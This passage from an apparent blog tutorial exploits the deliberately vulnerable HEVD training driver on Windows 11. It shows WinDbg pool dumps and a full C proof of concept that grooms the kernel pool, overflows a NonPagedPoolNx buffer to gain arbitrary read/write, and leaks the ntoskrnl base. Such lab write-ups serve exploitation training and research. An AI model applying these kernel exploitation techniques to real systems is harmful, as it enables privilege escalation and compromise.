 ffffa5089e59ac00 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59ac20 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59ac40 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59ac60 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59ac80 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59aca0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59acc0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59ace0 size:   20 previous size:    0  (Allocated)  Hack
*ffffa5089e59ad00 size:   20 previous size:    0  (Allocated) *Hack
		Owning component : Unknown (update pooltag.txt)
 ffffa5089e59ad20 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59ad40 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59ad60 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59ad80 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59ada0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59adc0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59ade0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59ae00 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59ae20 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59ae40 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59ae60 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59ae80 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59aea0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59aec0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59aee0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59af00 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59af20 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59af40 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59af60 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59af80 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59afa0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59afc0 size:   20 previous size:    0  (Allocated)  Hack
 ffffa5089e59afe0 size:   20 previous size:    0  (Allocated)  Hack
3: kd> dt nt!_POOL_HEADER ffffa5089e59ad00
   +0x000 PreviousSize     : 0y00000000 (0)
   +0x000 PoolIndex        : 0y00000010 (0x2)
   +0x002 BlockSize        : 0y00000010 (0x2)
   +0x002 PoolType         : 0y00000010 (0x2)
   +0x000 Ulong1           : 0x2020200
   +0x004 PoolTag          : 0x6b636148
   +0x008 ProcessBilled    : 0x00000000`67bcbf9a _EPROCESS
   +0x008 AllocatorBackTraceIndex : 0xbf9a
   +0x00a PoolTagHash      : 0x67bc
3: kd> dq ffffa5089e59ad00
ffffa508`9e59ad00  6b636148`02020200 00000000`67bcbf9a
ffffa508`9e59ad10  ffffa508`9e59a990 00000000`00000008
ffffa508`9e59ad20  6b636148`0202de00 00000000`00000000
ffffa508`9e59ad30  90909090`90909090 c0000034`00020002
ffffa508`9e59ad40  6b636148`02020200 00000000`dd772757
ffffa508`9e59ad50  ffffa508`9e59b030 00000000`00000008
ffffa508`9e59ad60  6b636148`02020200 00000000`6cb516b5
ffffa508`9e59ad70  90909090`90909090 00000000`00000000
3: kd> dq ffffa5089e59af80
ffffa508`9e59af80  6b636148`02020000 00010018`00380060
ffffa508`9e59af90  ffffa508`9e59a8f0 00000000`00000008
ffffa508`9e59afa0  6b636148`02024000 01dbfd50`194a27b7
ffffa508`9e59afb0  ffffa508`9e59ab10 00000000`00000008
ffffa508`9e59afc0  6b636148`02020200 00000000`3378e623
ffffa508`9e59afd0  90909090`90909090 00000000`00000000
ffffa508`9e59afe0  6b636148`02020200 00000000`5cf3c950
ffffa508`9e59aff0  90909090`90909090 00000000`00000000
3: kd> dt nt!_POOL_HEADER ffffa5089e59af80
   +0x000 PreviousSize     : 0y00000000 (0)
   +0x000 PoolIndex        : 0y00000000 (0)
   +0x002 BlockSize        : 0y00000010 (0x2)
   +0x002 PoolType         : 0y00000010 (0x2)
   +0x000 Ulong1           : 0x2020000
   +0x004 PoolTag          : 0x6b636148
   +0x008 ProcessBilled    : 0x00010018`00380060 _EPROCESS
   +0x008 AllocatorBackTraceIndex : 0x60
   +0x00a PoolTagHash      : 0x38

Now yes, let’s move on to the exploitation.

Exploitation

We’ll start from the code in the previous section, the one that allowed us to extract the address of KlfhHEVD.sys.

1
2
3
4
5
6
7
8
9
10
11
...
	Sleep(500);

	if (!exploit(hFile, addrKrnl)) {
		printf("\n[ERROR on EXPLOITATION o_0]\n");
		CloseHandle(hFile);
		return -1;
	}
	
	return 0;
}

NOTE: Between function calls I like to leave a Sleep, at least in this case, since it triggers loads and I prefer to give more time between both functions.

1
2
3
4
5
6
7
8
...
typedef struct _ARW_HELPER_OBJECT_IO
{
	PVOID HelperObjectAddress;
	PVOID Name;
	SIZE_T Length;
} ARW_HELPER_OBJECT_IO, * PARW_HELPER_OBJECT_IO;
...

The first step is to declare the structure we’re going to use.

Next, we start with the function:

1
2
3
4
5
6
7
8
9
10
11
12
13
bool exploit(HANDLE hFile, UINT64 addrKrnl) {

	ARW_HELPER_OBJECT_IO HelperArray[5000] = { 0 };

	printf("\n[HelperObjArray] -> 0x%p\n", HelperArray);

	ULONG bytes;

	ARW_HELPER_OBJECT_IO MyArwHelpObjIo = { 0 };
	MyArwHelpObjIo.Length = 8;

	DeviceIoControl(hFile, 0x222063, &MyArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &MyArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);
...

We prepare an array with 5000 members, declare our MyArwHelpObjIo struct and create it by calling CreateArbitraryReadWriteHelperObjectNonPagedPoolNx.

Then we proceed with object allocations in the pool to fill the gaps:

1
2
3
4
5
6
7
8
9
10
11
12
...
	unsigned long long addr = 0xdeadbeefdeadbeef;

	for (unsigned int i = 0; i < 5000; i++) {

		ArwHelpObjIo.Name = &addr;

		DeviceIoControl(hFile, 0x222063, &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);

		DeviceIoControl(hFile, 0x222067, &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);
	}
...

This will allow us to do what we described earlier.

The following code does almost the same thing:

1
2
3
4
5
6
7
8
9
10
11
12
...
	for (unsigned int i = 0; i < 5000; i++) {

		ArwHelpObjIo.Name = &addr;

		DeviceIoControl(hFile, 0x222063, &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);

		DeviceIoControl(hFile, 0x222067, &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);

		HelperArray[i] = ArwHelpObjIo;
	}
...

But this time we register each struct in HelperArray, which now become useful objects.

In the next part of the code, we start creating the holes in the heap:

1
2
3
4
5
6
7
8
9
10
11
...
	for (unsigned int i = 0; i < 5000; i++) {

		if (i % 2 == 0) {
			
			ArwHelpObjIo.Name = &addr;

			DeviceIoControl(hFile, 0x22206f, &HelperArray[i], sizeof(ARW_HELPER_OBJECT_IO), &HelperArray[i], sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);
		}
	}
...

To do this, we’ll call DeleteArbitraryReadWriteHelperObjecNonPagedPoolNx to delete half of the objects (the even ones in the array in this case).

Now we declare the buffer that will be our key to arbitrary read/write:

1
2
3
4
5
6
7
8
9
10
11
12
13
...
	unsigned long long pBuffer[5] = { 0 };

	pBuffer[0] = 0xbabababababababa;
	pBuffer[1] = 0xbabababababababa;
	// pBuffer[2] = 0x6b6361480202b200;
	pBuffer[2] = 0x6b63614802020000;
	pBuffer[3] = 0xbabababababababa;
	pBuffer[4] = (unsigned long long)MyArwHelpObjIo.HelperObjectAddress;

	// using buffer overflow to rewrite the address;
	DeviceIoControl(hFile, 0x22204b, &pBuffer, 0x28, &pBuffer, 0x28, &bytes, nullptr);
...

The first two ULLs are padding, the next is the _POOL_HEADER that will be overwritten, the third is also padding, and the fourth and most important is the HelperObjectAddress of our object. Finally, we call TriggerBufferOverflowNonPagedPoolNx for the overwrite.

Then we iterate through all structs checking if their first 8 bytes are the same (0xdeadbeefdeadbeef) or the ones we set (pBuffer[3] = 0xbabababababababa;)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
	unsigned long long tester = 0xdeadbeefdeadbeef;
	unsigned int index = 0;

	for (unsigned int i = 0; i < 5000; i++) {

		HelperArray[i].Name = &tester;

		DeviceIoControl(hFile, 0x22206b, &HelperArray[i], sizeof(HelperArray[i]), &HelperArray[i], sizeof(HelperArray[i]), &bytes, nullptr);

		if (tester != 0xdeadbeefdeadbeef) {

			printf("\n[%d] Affected allocation by the overflow -> 0x%p\n", i, HelperArray[i].HelperObjectAddress);

			UINT64 pExAllocatePoolWithTag = addrKrnl + 0x2008;

			HelperArray[i].Name = &pExAllocatePoolWithTag;
			DeviceIoControl(hFile, 0x222067, &HelperArray[i], sizeof(HelperArray[i]), &HelperArray[i], sizeof(HelperArray[i]), &bytes, nullptr);

			unsigned long long ntPointer = 0x9090909090909090;
			MyArwHelpObjIo.Name = &ntPointer;
			DeviceIoControl(hFile, 0x22206b, &MyArwHelpObjIo, sizeof(MyArwHelpObjIo), &MyArwHelpObjIo, sizeof(MyArwHelpObjIo), &bytes, nullptr);

			ntPointer -= 0x00b69010;

			printf("\n[Nt base] -> 0x%p\n", ntPointer);

			return true;
		}
	}

	return false;
}

If this is the case, then we already have arbitrary read/write. To simplify, let’s say we want to get the address of ntoskrnl.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
...
		if (tester != 0xdeadbeefdeadbeef) {

			printf("\n[%d] Affected allocation by the overflow -> 0x%p\n", i, HelperArray[i].HelperObjectAddress);

			UINT64 pExAllocatePoolWithTag = addrKrnl + 0x2008;

			HelperArray[i].Name = &pExAllocatePoolWithTag;
			DeviceIoControl(hFile, 0x222067, &HelperArray[i], sizeof(HelperArray[i]), &HelperArray[i], sizeof(HelperArray[i]), &bytes, nullptr);

			unsigned long long ntPointer = 0x9090909090909090;
			MyArwHelpObjIo.Name = &ntPointer;
			DeviceIoControl(hFile, 0x22206b, &MyArwHelpObjIo, sizeof(MyArwHelpObjIo), &MyArwHelpObjIo, sizeof(MyArwHelpObjIo), &bytes, nullptr);

			ntPointer -= 0x00b69010;

			printf("\n[Nt base] -> 0x%p\n", ntPointer);

			return true;
		}
...

To get the nt base, first we need to get the address of the IAT:

0: kd> !dh KlfhHEVD -f

File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
    8664 machine (X64)
       7 number of sections
687D2D8C time date stamp Sun Jul 20 19:55:24 2025

       0 file pointer to symbol table
       0 number of symbols
      F0 size of optional header
      22 characteristics
            Executable
            App can handle >2gb addresses

OPTIONAL HEADER VALUES
     20B magic #
   14.42 linker version
    5E00 size of code
   81400 size of initialized data
       0 size of uninitialized data
   8A140 address of entry point
    1000 base of code
         ----- new -----
fffff80552010000 image base
    1000 section alignment
     200 file alignment
       1 subsystem (Native)
   10.00 operating system version
   10.00 image version
   10.00 subsystem version
   8C000 size of image
     400 size of headers
   11867 checksum
0000000000100000 size of stack reserve
0000000000001000 size of stack commit
0000000000100000 size of heap reserve
0000000000001000 size of heap commit
    4160  DLL characteristics
            High entropy VA supported
            Dynamic base
            NX compatible
            Guard
       0 [       0] address [size] of Export Directory
   8A470 [      28] address [size] of Import Directory
       0 [       0] address [size] of Resource Directory
   84000 [     318] address [size] of Exception Directory
    7600 [     7B0] address [size] of Security Directory
   8B000 [      24] address [size] of Base Relocation Directory
    2230 [      38] address [size] of Debug Directory
       0 [       0] address [size] of Description Directory
       0 [       0] address [size] of Special Directory
       0 [       0] address [size] of Thread Storage Directory
    20F0 [     140] address [size] of Load Configuration Directory
       0 [       0] address [size] of Bound Import Directory
    2000 [      80] address [size] of Import Address Table Directory
       0 [       0] address [size] of Delay Import Directory
       0 [       0] address [size] of COR20 Header Directory
       0 [       0] address [size] of Reserved Directory

As we can see, it’s at offset 0x2000 bytes:

    2000 [      80] address [size] of Import Address Table Directory
0: kd> dqs KlfhHEVD+0x2000
fffff805`52012000  fffff805`bd5edac0 nt!DbgPrintEx
fffff805`52012008  fffff805`bdd69010 nt!ExAllocatePoolWithTag
fffff805`52012010  fffff805`bdd69cd0 nt!ExFreePoolWithTag
fffff805`52012018  fffff805`bdbdfaf0 nt!ProbeForRead
fffff805`52012020  fffff805`bdb27820 nt!ProbeForWrite
fffff805`52012028  fffff805`bd700380 nt!_C_specific_handler
fffff805`52012030  fffff805`bd65b7d0 nt!RtlInitUnicodeString
fffff805`52012038  fffff805`bd503490 nt!IofCompleteRequest
fffff805`52012040  fffff805`bdbae7c0 nt!IoCreateDevice
fffff805`52012048  fffff805`bdc38680 nt!IoCreateSymbolicLink
fffff805`52012050  fffff805`bd407590 nt!IoDeleteDevice
fffff805`52012058  fffff805`bdc9ab60 nt!IoDeleteSymbolicLink
fffff805`52012060  fffff805`bd8a18a0 nt!ZwCreateFile
fffff805`52012068  fffff805`bd8a0f00 nt!ZwWriteFile
fffff805`52012070  fffff805`bd8a0fe0 nt!ZwClose
fffff805`52012078  00000000`00000000
0: kd> dqs KlfhHEVD+0x2008 L1
fffff805`52012008  fffff805`bdd69010 nt!ExAllocatePoolWithTag

We now know that the contents at KlfhHEVD.sys+0x2008 is a pointer to ExAllocatePoolWithTag, which once read, we can subtract the offset from the base in Windows 11 24h2, which is 0x00b69010, and thus we get the desired address.

POC time:

As we can see, we have the base address of the kernel, all thanks to knowledge of Windows pool internals and kLFH.

Here is the final code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
#include <stdio.h>
#include <windows.h>

typedef struct _ARW_HELPER_OBJECT_IO
{
	PVOID HelperObjectAddress;
	PVOID Name;
	SIZE_T Length;
} ARW_HELPER_OBJECT_IO, * PARW_HELPER_OBJECT_IO;

bool exploit(HANDLE hFile, UINT64 addrKrnl) {

	ARW_HELPER_OBJECT_IO HelperArray[5000] = { 0 };

	printf("\n[HelperObjArray] -> 0x%p\n", HelperArray);

	ULONG bytes;

	ARW_HELPER_OBJECT_IO MyArwHelpObjIo = { 0 };
	MyArwHelpObjIo.Length = 8;

	DeviceIoControl(hFile, 0x222063, &MyArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &MyArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);

	ARW_HELPER_OBJECT_IO ArwHelpObjIo = { 0 };
	ArwHelpObjIo.Length = 8;

	unsigned long long addr = 0xdeadbeefdeadbeef;

	for (unsigned int i = 0; i < 5000; i++) {

		ArwHelpObjIo.Name = &addr;

		DeviceIoControl(hFile, 0x222063, &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);

		DeviceIoControl(hFile, 0x222067, &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);
	}

	for (unsigned int i = 0; i < 5000; i++) {

		ArwHelpObjIo.Name = &addr;

		DeviceIoControl(hFile, 0x222063, &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);

		DeviceIoControl(hFile, 0x222067, &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &ArwHelpObjIo, sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);

		HelperArray[i] = ArwHelpObjIo;

	}

	for (unsigned int i = 0; i < 5000; i++) {

		if (i % 2 == 0) {
			
			ArwHelpObjIo.Name = &addr;

			DeviceIoControl(hFile, 0x22206f, &HelperArray[i], sizeof(ARW_HELPER_OBJECT_IO), &HelperArray[i], sizeof(ARW_HELPER_OBJECT_IO), &bytes, nullptr);
		}
	}

	unsigned long long pBuffer[5] = { 0 };

	pBuffer[0] = 0xbabababababababa;
	pBuffer[1] = 0xbabababababababa;
	// pBuffer[2] = 0x6b6361480202b200;
	pBuffer[2] = 0x6b63614802020000;
	pBuffer[3] = 0xbabababababababa;
	pBuffer[4] = (unsigned long long)MyArwHelpObjIo.HelperObjectAddress;

	// using buffer overflow to rewrite the address;
	DeviceIoControl(hFile, 0x22204b, &pBuffer, 0x28, &pBuffer, 0x28, &bytes, nullptr);

	unsigned long long tester = 0xdeadbeefdeadbeef;
	unsigned int index = 0;

	for (unsigned int i = 0; i < 5000; i++) {

		HelperArray[i].Name = &tester;

		DeviceIoControl(hFile, 0x22206b, &HelperArray[i], sizeof(HelperArray[i]), &HelperArray[i], sizeof(HelperArray[i]), &bytes, nullptr);

		if (tester != 0xdeadbeefdeadbeef) {

			printf("\n[%d] Affected allocation by the overflow -> 0x%p\n", i, HelperArray[i].HelperObjectAddress);

			UINT64 pExAllocatePoolWithTag = addrKrnl + 0x2008;

			HelperArray[i].Name = &pExAllocatePoolWithTag;
			DeviceIoControl(hFile, 0x222067, &HelperArray[i], sizeof(HelperArray[i]), &HelperArray[i], sizeof(HelperArray[i]), &bytes, nullptr);

			unsigned long long ntPointer = 0x9090909090909090;
			MyArwHelpObjIo.Name = &ntPointer;
			DeviceIoControl(hFile, 0x22206b, &MyArwHelpObjIo, sizeof(MyArwHelpObjIo), &MyArwHelpObjIo, sizeof(MyArwHelpObjIo), &bytes, nullptr);

			ntPointer -= 0x00b69010;

			printf("\n[Nt base] -> 0x%p\n", ntPointer);

			return true;
		}
	}

	return false;
}

int main() {


	BYTE pOutBuffer[1000] = { 0 };
	size_t sOutBuffer = sizeof(pOutBuffer);

	DWORD tag = 0;
	UINT64 addrKrnl = 0;
	ULONG lpBytesReturned = 0;

	bool kernel = false;

	HANDLE Events[5000] = { 0 };
	HANDLE hFile = CreateFileW(L"\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, nullptr,
		OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
	if (hFile == INVALID_HANDLE_VALUE) {
		printf("\n[!] Error getting the handle to HEVD -> %d\n", GetLastError());
		getchar();
		return -1;
	}

	for (unsigned int i = 0; i < 5000; i++) {

		Events[i] = CreateEventA(NULL, FALSE, FALSE, NULL); //  -> 0x80
		if (Events[i] == NULL) {
			printf("\n[%d] ERROR ON \"CreateEventA\" -> %d\n", i, GetLastError());
			for (unsigned int z = 0; z < 5000; z++) {
				if (Events[z] != NULL) {
					CloseHandle(Events[z]);
					Events[z] = NULL;
				}
			}
			return -1;
		}
	}

	for (unsigned int i = 0; i < 5000; i++) {

		if (i % 2 == 0) {
			CloseHandle(Events[i]);
			Events[i] == NULL;
		}
	}

	for (unsigned int h = 0; h < 2500; h++) {
		if (DeviceIoControl(hFile, 0x222053, nullptr, 0, nullptr, 0, &lpBytesReturned, nullptr)) {
			printf("\n[!] Error calling \"HEVD_IOCTL_ALLOCATE_UAF_NON_PAGED_POOL_NX\"\n");
			getchar();
			for (unsigned int u = 0; u < 5000; u++) {
				if (Events[u] != NULL) {
					CloseHandle(Events[u]);
					Events[u] = NULL;
				}
			}
			return -1;
		}
	}

	for (unsigned int i = 0; i < 5000; i++) {

		if (i % 2 != 0) {
			CloseHandle(Events[i]);
			Events[i] == NULL;
		}
	}

	for (unsigned int j = 0; j < 2000; j++) {

		if (kernel) {
			break;
		}

		if (!DeviceIoControl(hFile, 0x22204F, nullptr, 0, &pOutBuffer, sOutBuffer, &lpBytesReturned, nullptr)) {
			printf("\n[!] Error calling \"HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX\"\n");
			getchar();
			for (unsigned int u = 0; u < 5000; u++) {
				if (Events[u] != NULL) {
					CloseHandle(Events[u]);
					Events[u] = NULL;
				}
			}
			return -1;
		}

		memcpy(&tag, (DWORD*)((byte*)pOutBuffer + 0x70 + 4), sizeof(UINT32));
		if (tag == *(DWORD*)"Hack" /*tag == 0x6B636148*/) {
			printf("\nHEVD module found: \"%c%c%c%c\"\n", ((char*)&tag)[0], ((char*)&tag)[1], ((char*)&tag)[2], ((char*)&tag)[3]);
			memcpy(&addrKrnl, (UINT64*)((byte*)pOutBuffer + 0x80), sizeof(UINT64));
			printf("\tKernel Address -> [0x%p]\n", addrKrnl);
			printf("\t\t\\__Module base -> [0x%p]\n", addrKrnl - 0x88130);
			if ((addrKrnl & 0xfffff00000000000) == 0) {
				kernel = true;
			}
			break;
		}
		else {
			printf("\nTAG: \"%c%c%c%c\"\n", ((char*)&tag)[0], ((char*)&tag)[1], ((char*)&tag)[2], ((char*)&tag)[3]);
		}

	}

	for (unsigned int u = 0; u < 5000; u++) {
		if (Events[u] != 0) {
			CloseHandle(Events[u]);
			Events[u] = 0;
		}
	}

	Sleep(500);

	if (!exploit(hFile, addrKrnl)) {
		printf("\n[ERROR on EXPLOITATION o_0]\n");
		CloseHandle(hFile);
		return -1;
	}
	
	return 0;
}

References

Closing

This was a demonstration of how to use the kernel pool to our advantage. It sets a precedent for more advanced future exploitation techniques.

Good morning, and in case I don’t see ya: Good afternoon, good evening, and good night!

This post is licensed under CC BY 4.0 by the author.